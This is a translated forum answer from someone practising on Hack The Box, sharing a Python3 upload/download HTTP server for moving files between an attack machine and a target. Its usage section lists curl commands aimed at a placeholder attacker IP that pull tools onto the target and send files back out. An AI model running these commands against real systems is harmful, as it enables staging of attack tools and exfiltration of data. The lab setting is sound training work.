2019年更新:我今天在玩hackthebox.eu的时候就在寻找这个功能。我对Python不太熟悉,但我最终选择了这个例子,并将其移植到Python3,因为Python2在这一点上基本上已经过时了。
希望这能帮助2019年寻找此功能的人,我很高兴听到我可以改进代码的方法。点击获取
https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
感谢提问者和那些用信息发表评论的人!
编辑:我被要求粘贴代码,不用担心。我已经从简洁性中剥离了一些评论,因此这里有一些注释:
-
基于
gist
因为归因很重要。
-
我从响应中去掉了HTML,因为我的用例不需要它。
-
HTB
所以它基本上是一个当前形状的玩具。
-
攻击地球等。
从保存工具/数据的文件夹中的攻击设备运行脚本,或从您正在旋转的盒子中运行脚本。从目标PC连接到它,以便简单方便地来回推送文件。
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
代码:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()